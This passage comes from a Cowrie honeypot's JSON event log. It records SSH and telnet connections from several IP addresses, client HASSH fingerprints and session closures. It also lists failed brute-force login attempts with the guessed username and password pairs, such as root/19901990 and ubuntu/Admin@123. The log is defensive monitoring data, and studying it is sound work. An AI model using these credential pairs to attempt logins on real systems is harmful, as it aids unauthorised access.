{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:31.515911Z","src_ip":"91.92.40.36","session":"fea5c4327c13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.3","message":"Connection lost after 18.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:32.335193Z","src_ip":"91.92.40.36","session":"296d65a7365e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maarch","password":"maarch","message":"login attempt [maarch/maarch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:33.037227Z","src_ip":"91.92.40.36","session":"6f56a58bf359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42942,"dst_ip":"10.17.0.5","dst_port":22,"session":"91c2ba059584","protocol":"ssh","message":"New connection: 91.92.40.36:42942 (10.17.0.5:22) [session: 91c2ba059584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:34.415100Z"}
{"eventid":"cowrie.session.closed","duration":40.977986335754395,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:35.409271Z","src_ip":"172.81.62.90","session":"c1d60d6bc6db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"17.0","message":"Connection lost after 17.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:36.377132Z","src_ip":"91.92.40.36","session":"6f56a58bf359","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:36.660473Z","src_ip":"91.92.40.36","session":"91c2ba059584","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:36.663862Z","src_ip":"91.92.40.36","session":"91c2ba059584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":49000,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d3c523f15bb","protocol":"ssh","message":"New connection: 102.213.34.99:49000 (159.203.135.109:22) [session: 9d3c523f15bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:38.810776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:38.816020Z","src_ip":"102.213.34.99","session":"9d3c523f15bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:38.992093Z","src_ip":"102.213.34.99","session":"9d3c523f15bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"password","message":"login attempt [sol/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:39.706597Z","src_ip":"102.213.34.99","session":"9d3c523f15bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:40.883847Z","src_ip":"102.213.34.99","session":"9d3c523f15bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53204,"dst_ip":"10.17.0.5","dst_port":22,"session":"c823f5bf0783","protocol":"ssh","message":"New connection: 91.92.40.36:53204 (10.17.0.5:22) [session: c823f5bf0783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:41.857890Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":34110,"dst_ip":"10.17.0.5","dst_port":22,"session":"c054d268b90c","protocol":"ssh","message":"New connection: 45.123.217.22:34110 (10.17.0.5:22) [session: c054d268b90c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:41.861711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:41.867176Z","src_ip":"45.123.217.22","session":"c054d268b90c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Admin@123","message":"login attempt [ubuntu/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:41.989528Z","src_ip":"91.92.40.36","session":"fea5c4327c13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:42.099540Z","src_ip":"45.123.217.22","session":"c054d268b90c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":44728,"dst_ip":"10.17.0.5","dst_port":22,"session":"29fe96a118dd","protocol":"ssh","message":"New connection: 45.78.204.254:44728 (10.17.0.5:22) [session: 29fe96a118dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:42.448855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:42.455146Z","src_ip":"45.78.204.254","session":"29fe96a118dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:42.699681Z","src_ip":"45.78.204.254","session":"29fe96a118dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19901990","message":"login attempt [root/19901990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:42.862780Z","src_ip":"91.92.40.36","session":"91c2ba059584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user!@#","message":"login attempt [user/user!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:43.080733Z","src_ip":"45.123.217.22","session":"c054d268b90c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:43.553492Z","src_ip":"91.92.40.36","session":"c823f5bf0783","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:43.556782Z","src_ip":"91.92.40.36","session":"c823f5bf0783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:44.317064Z","src_ip":"45.123.217.22","session":"c054d268b90c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd1234!@#$","message":"login attempt [root/asd1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:45.011915Z","src_ip":"45.78.204.254","session":"29fe96a118dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:45.268061Z","src_ip":"91.92.40.36","session":"fea5c4327c13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.1","message":"Connection lost after 11.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:45.470823Z","src_ip":"91.92.40.36","session":"91c2ba059584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:46.338131Z","src_ip":"45.78.204.254","session":"29fe96a118dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58918,"dst_ip":"10.17.0.5","dst_port":22,"session":"38967580fa83","protocol":"ssh","message":"New connection: 91.92.40.36:58918 (10.17.0.5:22) [session: 38967580fa83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:48.802801Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"password","message":"login attempt [test/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:49.367155Z","src_ip":"91.92.40.36","session":"c823f5bf0783","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:50.376371Z","src_ip":"91.92.40.36","session":"38967580fa83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:50.379984Z","src_ip":"91.92.40.36","session":"38967580fa83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:52.171217Z","src_ip":"91.92.40.36","session":"c823f5bf0783","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58926,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf1a488780c1","protocol":"ssh","message":"New connection: 91.92.40.36:58926 (10.17.0.5:22) [session: cf1a488780c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:54.683457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:56.389421Z","src_ip":"91.92.40.36","session":"cf1a488780c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:56.393060Z","src_ip":"91.92.40.36","session":"cf1a488780c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jboss","password":"jboss","message":"login attempt [jboss/jboss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:56.901278Z","src_ip":"91.92.40.36","session":"38967580fa83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":33764,"dst_ip":"159.203.135.109","dst_port":22,"session":"d33ac1f6c0d2","protocol":"ssh","message":"New connection: 129.146.243.24:33764 (159.203.135.109:22) [session: d33ac1f6c0d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:57.381691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:57.390397Z","src_ip":"129.146.243.24","session":"d33ac1f6c0d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 